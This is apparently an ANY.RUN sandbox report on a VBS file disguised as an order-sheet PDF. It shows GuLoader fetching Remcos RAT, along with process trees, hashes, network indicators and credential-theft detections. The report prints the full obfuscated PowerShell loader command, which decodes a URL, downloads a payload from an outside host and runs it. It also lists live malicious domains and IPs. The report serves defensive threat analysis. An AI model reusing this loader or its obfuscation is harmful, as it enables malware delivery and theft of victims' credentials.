File name:

doc_order_sheet_sn8577THC_13122023_pdf_0000000.vbs

Full analysis: https://app.any.run/tasks/4bf92da3-43ee-453b-8213-c6a34794d72c
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: December 14, 2023, 01:15:54
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
opendir
guloader
loader
trojan
rat
remcos
stealer
keylogger
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

846BE25FE6DD9E8A8CEB9B07CE450E1D

SHA1:

9E1D81D4FE3638C6F78C6CF9C045B19E4359EFB8

SHA256:

2CEAB92F90FF80D411D1749601290D25E0F22EE2EE47FE7D3933C6377AB9EDD5

SSDEEP:

1536:D5DRWIZA4ReqoJXN4v8K24hKGLx6Y0230zuEsU:D5Lm4ReqiXGv8KPLx6Y02EzuEsU

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • REMCOS has been detected (SURICATA)

      • wab.exe (PID: 3208)

    • Steals credentials from Web Browsers

      • wab.exe (PID: 3168)

    • Actions looks like stealing of personal data

      • wab.exe (PID: 2536)
      • wab.exe (PID: 3684)
      • wab.exe (PID: 3208)
      • wab.exe (PID: 3168)

    • Steals credentials

      • wab.exe (PID: 3168)
      • wab.exe (PID: 2536)

    • Uses NirSoft utilities to collect credentials

      • wab.exe (PID: 3168)
      • wab.exe (PID: 2536)

    • Accesses system services(Win32_Service) via WMI (SCRIPT)

      • wscript.exe (PID: 2464)

    • GULOADER has been detected (SURICATA)

      • wab.exe (PID: 3208)

  • SUSPICIOUS

    • Executes WMI query (SCRIPT)

      • wscript.exe (PID: 2464)

    • Base64-obfuscated command line is found

      • wscript.exe (PID: 2464)

    • Reads the Internet Settings

      • wscript.exe (PID: 2464)
      • wab.exe (PID: 3208)

    • Powershell version downgrade attack

      • powershell.exe (PID: 1328)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2464)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 2464)

    • Reads browser cookies

      • wab.exe (PID: 3208)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 1328)

    • Application launched itself

      • wab.exe (PID: 3208)

    • Connects to unusual port

      • wab.exe (PID: 3208)

    • Accesses Microsoft Outlook profiles

      • wab.exe (PID: 2536)

    • Loads DLL from Mozilla Firefox

      • wab.exe (PID: 3684)

    • Writes files like Keylogger logs

      • wab.exe (PID: 3208)

    • Accesses WMI object, sets custom ImpersonationLevel (SCRIPT)

      • wscript.exe (PID: 2464)

    • Accesses WMI object display name (SCRIPT)

      • wscript.exe (PID: 2464)

    • Accesses system date via WMI (SCRIPT)

      • wscript.exe (PID: 2464)

    • Accesses antivirus product name via WMI (SCRIPT)

      • wscript.exe (PID: 2464)

  • INFO

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3144)

    • Checks supported languages

      • wmpnscfg.exe (PID: 3144)
      • wab.exe (PID: 3208)
      • wab.exe (PID: 3168)
      • wab.exe (PID: 2536)
      • wab.exe (PID: 3684)

    • Reads the computer name

      • wmpnscfg.exe (PID: 3144)
      • wab.exe (PID: 3208)
      • wab.exe (PID: 2536)
      • wab.exe (PID: 3684)
      • wab.exe (PID: 3168)

    • Checks proxy server information

      • wab.exe (PID: 3208)

    • Reads Environment values

      • wab.exe (PID: 3208)

    • Creates files or folders in the user directory

      • wab.exe (PID: 3208)

    • Reads the machine GUID from the registry

      • wab.exe (PID: 3208)
      • wab.exe (PID: 3168)
      • wab.exe (PID: 3684)

    • Reads product name

      • wab.exe (PID: 3208)

    • Create files in a temporary directory

      • wab.exe (PID: 3684)
      • wab.exe (PID: 3168)
      • wab.exe (PID: 2536)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
8
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs powershell.exe no specs cmd.exe no specs wmpnscfg.exe no specs #GULOADER wab.exe wab.exe wab.exe wab.exe

Process information

PID
CMD
Path
Indicators
Parent process
1328"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Sopraner ([String]$Anchora){$Hitc = 5;For($Louted=4; $Louted -lt $Anchora.Length-1; $Louted+=$Hitc){ $Samordnin444 = $Anchora.Substring($Louted, $Overellipt46); $Samordnin44=$Samordnin44+$Samordnin444; }$Samordnin44;}$Overellipt46 = (cmd /c 'echo 1 && exit');$Samordnin4401=Sopraner 'Matii GaaeGourxPsyl ';$Samordnin4402=Sopraner 'TerrT StarOpbraKrydnStans KnsfHindeDngerIsogrUdreismagnglutg Tra ';$Prve = Sopraner 'Vign\ NonsDemoyCoagsStrrw SnuoGrftwByer6Unsh4Scan\KravWWaggiFixun StadScoroButiwVidesmisaP HemoForbw EmbeElvarUnsaS SphhGelaeTakklTrollPopp\ UnbvGenf1 Ane.Perj0 Inf\RecipTjuroStevwPolyeQuadr DepsbolshBaggeTeksl OldlCros.jomoeSelexBordeMind ';function antein ($Filmgenre){& ($Samordnin4401) ($Filmgenre);}$Sammens=Sopraner 'RegnhopsttHardtSrilpOver: Bef/Bess/ SkiyMeastPantgtimiz Bab5 Dil.NonfsStilaKaur.IndacLeveoKonsmCloy/drupM Udle FrstOpsph Dopo virlGatecSummaSpectAutoeFatt.FermiMelon DemfTilr ';antein (Sopraner 'Bund$NonfgCoprlSaloo EmbbBogsaAlsblJoin:BegyWBomboOiliuSitdsLtbt2Alex=Appl$There MycnPrinvEqui:TachwobjeiRettnPeridTieriNoncrSptt ') ;antein (Sopraner 'Jizy$FaxegIntelZebooUflybBouraSpeclBund:ParmWBladoValluTopis bil6Styr=Brnd$moduWRebeoWolfuSifbsLito2Klar+ Ned$DeduPpoocrBudgvsnooeMeth ') ;antein (Sopraner ' Hiw$ChrogSelvlBecaoUdstb ForaKalkl Imp:cannWSynkoNoveuSvngsAbra3Awak Unde= mer Unr(Pina( BiggsonawExhimExfli Nei flerwUnreiLitunYder3Fugi2Stud_ OprppictrSideotitocribseSenissubfsScle Ilbu-NullFVare waarPSamtr RaaoTumpcSilieUndes GtesTilsIvarvdSkrs=Emra$Dkni{OsteP UpwIStoeD sag} Wid)Abso.KabeCNyttoNstvmKlasmanimaRolln AtodKameLunaniOvernStiteRang) Fem Lymp-SuprschaupNomilDaisiletmt Uni gst[OretcallehPoulaSabbrSpac]fyld3Rade4Nedj ');antein (Sopraner 'Siby$restgHjlplAntao BembPropaCycllNont:TdleWerhvoJibiu Skos Til4Micr Myth= Bor Intr$DispW PhyoPeriuPrems Bru3Affe[Soci$QueeW Acho SigunonssKate3Dres.UnjucSpliodatcuBortnAfprtLate-Hjul2Tall]Seri ');antein (Sopraner ' Kli$ Befg GenlGloroHiplbMedeaVacclLysi:SprjW RunoGennu mulsTynd5 Pon=Shiv(KvatTNukleKaadsSkjot unr-TronPUdleaTrantSputhBorg Disp$ SinWFeatoStiluVedisLavs6Unge) Spa klkn-OvulAMaginAnskdSpol Futc(Homa[PrecISkilnBroltForuPCleatdyrerAabn]Ster:Impl:NittsScheiRustzTelteGroe Loed-OmdbeDopiq Ser Suga8Bard)Phot ') ;if ($Wous5) {& $Wous6 $Wous4;} else {;$Samordnin4400=Sopraner 'Tari$ForhgRemolBondoGlanbIrreaErhvlEart:cocaWSurpo monuHovesSlik8Prjs Cede=stvn MistSStuvtUdstaSvejrAmphtLeve-FogeB KjeiGaustMaalsconsTDismrDousa CasnRegisNihifGalletrver Und Ree- regS anaoGerruAddirRelacBarseBost skib$OverSrivea Ovem SpimDeaee TolnArbesBesl Pers-LithDLinneSlutsChimtEleni GymnKultaUnprtMistiOpaloSermnAnas Revn$beveWTyreoReceuSubgsRele2Deco ';antein (Sopraner 'Maxi$baalgFravlSmokoTrylbPrina UddlSpri:ParaWCripoReviuOffssKami2 Kon=Init$SlaveZelanStarvGlas:FrstaTestp Ligp RoldEtataYeamtAndeaElec ') ;antein (Sopraner 'YderIExemmEneupSpiloFiskrChlotAfsp-KataMTampoIncodAgtsuCitrlAcetesell VidkB PeniRytttBloosbuffTRestrKonnaFredn GrusdrypfBeste ChrrCycl ') ;$Wous2=$Wous2+'\Dehydr151.Hyp' ;antein (Sopraner 'Cola$Vindg Cojl SoloStarbAphtaBedvlAsso:SkulWUnbeoBobbuaigus Aut7 Syn=afkr(PaniTMinie CivsEnantResp-EmboPSlida dyrtCerahcent Tord$SortWWhoro Whiu Apos Ron2Elev)Milc ') ;while (-not $Wous7) {antein (Sopraner 'DumpIIndlfSnec Cres(Deco$FindWEksaoSappuKontsNymp8Male.LegaJLillo Banb CenSInset GauaCanetNorme Sdc post-Macre ChiqEner Dygt$FngsS Husa SpamGennoTjurrpseud UnpnUdbuiCatenMort4Tryk4Rend0Nske2Bran)Afri Past{MagtSRetnt Otta MairLasttsnus-InfoS DellBlooeVarmesystpMezz Nigg1Iref} Flae Synl TitsChaee Uns{PrerSLokkt Prea SedrAspetExtr-PahaSStorlMammeAfgueNondpKrom Joha1stra; UnkaKagenGeodtBeskeMistiRansn Ort Acti$MatsSAkkoaHvormLystoTrflr risdNusenBriciOptinSalu4Anfi4 Byg0Hjer0Amyl}Mara ');antein (Sopraner 'bara$ DetgJamal Polo NonbfortaBagplGran:GodsWBenzo YeauAspislesg7Svrt= acc(LympTYelleSmedsurostUnfu-BleaPTilbaKopitMeloh San Mode$ SphWPopuoDissuSpers Bid2Paat)misa ') ;}antein (Sopraner 'Abon$Purpg GrnlKrimoTranbSpecaSukklProg:UrhaAFlamrEluvcHalfhAnkeiNoilmZarioHand prog=Irsk YdelGZooteNordtNonm-SereC NopoBarfn CedtHemie DacnMonat Ass Tra$RoseWReseo IseuSluts Fla2Pant ');antein (Sopraner 'spha$Horig LivlTradoImpobAflaaAfsklKoll:AnapAVrdisKamesUnpeaPred Unp=Godk Rema[TestSUnfryMugssUnabtPyeleSiccm Liq.PaagCSsteoFdemnPottvVenseTrenr Degt Sen]Rake:Frak:UdfrFMudsrFraaoDazymInstBAnonaLandsSoleeUnin6Silv4HabiSCatatValurIntriBulnn BrigDefl( Omf$GkkeADotirOmkac nonhDiplismaamTeleo Hal)Coca ');antein (Sopraner 'rank$PtergskollMisfo ClebPrioaSunblFred:LuneSUnstaShiemForeoUntirHobbdAulenDessiChornCalo4Fami4 Wit2Skom Rewh=Hjem Sign[OrpiSHaany Kaps HomtBybaeunfom gru. ForTUroleForhx AmbtLeas.HaitE CounUnilc IndoSkidd Booi Misn PlegRent] Fng:Trop:AnskARinkS FaiCIconIalbuI Gra.VlesGTekneStdet MolSCumotKrlirUrani OvenAmmegMisb(cont$BeskABesvsfljlsSucca Rel)Raad ');antein (Sopraner ' Faa$UordggrunlTromoSynabEkspaUntrlSyke: ColSDdsaaMicrmAmisoStoerMadedJollnPlasialtonShic4Strm4 Uns3Reso= can$KistSRegnaProtmModtoAfrorSobedmobbnMilii Born Int4Gigu4Hjer2Subc. SelsJaneuRussbMeins Auxt DysrPsykiChymnPragg Wee(Afte2Nont7Rich3inde0Geom7Drmm1Samb,Medt1Nonp9Dyna0melo1Bifa0Drmt)Kdef ');antein $Samordnin443;};;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2464"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\doc_order_sheet_sn8577THC_13122023_pdf_0000000.vbs"C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2536"C:\Program Files\windows mail\wab.exe" /stext "C:\Users\admin\AppData\Local\Temp\zptcnlndoxaqtnks"C:\Program Files\windows mail\wab.exe
wab.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\program files\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3144"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3168"C:\Program Files\windows mail\wab.exe" /stext "C:\Users\admin\AppData\Local\Temp\puojmtdbapimi"C:\Program Files\windows mail\wab.exe
wab.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\program files\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3208"C:\Program Files\windows mail\wab.exe"C:\Program Files\windows mail\wab.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\mshtml.dll
c:\program files\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
3684"C:\Program Files\windows mail\wab.exe" /stext "C:\Users\admin\AppData\Local\Temp\jrgmfdyxcfsvvtgeuvm"C:\Program Files\windows mail\wab.exe
wab.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\program files\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3856"C:\Windows\system32\cmd.exe" /c "echo 1 && exit"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
Total events
2 146
Read events
2 072
Write events
74
Delete events
0

Modification events

(PID) Process:(2464) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2464) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2464) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2464) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1328) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17F\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3208) wab.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(3208) wab.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000005A010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A8016B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3208) wab.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3208) wab.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3208) wab.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
Executable files
0
Suspicious files
5
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3168wab.exeC:\Users\admin\AppData\Local\Temp\bhv7790.tmp —
MD5:—
SHA256:—
2536wab.exeC:\Users\admin\AppData\Local\Temp\zptcnlndoxaqtnkstext
MD5:7FB9A9AD0FD9B1E0108ED71FBB276048
SHA256:7D63C301317E144B0133A72250AE2D8E09AF65A92E6A807EC58A71939FE530A9
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
3208wab.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\json[1].jsonbinary
MD5:08988CC5BBD44E9F464C3B165990369F
SHA256:FA3511B557F720F20B11281290FF1A01CB177A9A170067D17D5037F49B7EB125
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T93JGNMZS8Q8D0S4FNPD.tempbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2102ce.TMPbinary
MD5:16F6D260068B85896C0EBB2E1B2A60D1
SHA256:6E3B1EF1FB4736A9BF18FADF8E42935CC5053478B6F403A38EFBA8500E819984
3168wab.exeC:\Users\admin\AppData\Local\Temp\puojmtdbapimitext
MD5:0888EB5C6DCC37DDA28287D909D6DB1C
SHA256:D3C10379D5FD57E579AD3FC6A5B12C5CF19827DDC4F78367B16ADE825F8C3F37
3208wab.exeC:\Users\admin\AppData\Roaming\vorspt.datbinary
MD5:B19C5FD63522F429D96B8CEA9EBF4E51
SHA256:A25C825AAF8A4EB811A3DC1F94FD72622A0A79F00A3D35B09579FA6042C3CF1B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
12
DNS requests
2
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
868
svchost.exe
HEAD
200
103.83.194.50:80
http://ytgz5.sa.com/Metholcate.inf
unknown
—
—
unknown
868
svchost.exe
GET
200
103.83.194.50:80
http://ytgz5.sa.com/Metholcate.inf
unknown
text
380 Kb
unknown
3208
wab.exe
GET
200
103.83.194.50:80
http://ytgz5.sa.com/gBuCeYv217.bin
unknown
binary
483 Kb
unknown
3208
wab.exe
GET
200
178.237.33.50:80
http://geoplugin.net/json.gp
unknown
binary
948 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
868
svchost.exe
103.83.194.50:80
ytgz5.sa.com
HOST4GEEKS-LLC
AU
unknown
3208
wab.exe
103.83.194.50:80
ytgz5.sa.com
HOST4GEEKS-LLC
AU
unknown
3208
wab.exe
85.209.176.69:57484
—
Zenex 5ive Limited
FR
unknown
3208
wab.exe
178.237.33.50:80
geoplugin.net
Schuberg Philis B.V.
NL
malicious

DNS requests

Domain
IP
Reputation
ytgz5.sa.com
  • 103.83.194.50
unknown
geoplugin.net
  • 178.237.33.50
malicious

Threats

PID
Process
Class
Message
3208
wab.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
3208
wab.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
3208
wab.exe
Malware Command and Control Activity Detected
ET MALWARE Remcos 3.x Unencrypted Server Response
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
doc_order_sheet_sn8577THC_13122023_pdf_0000000.vbs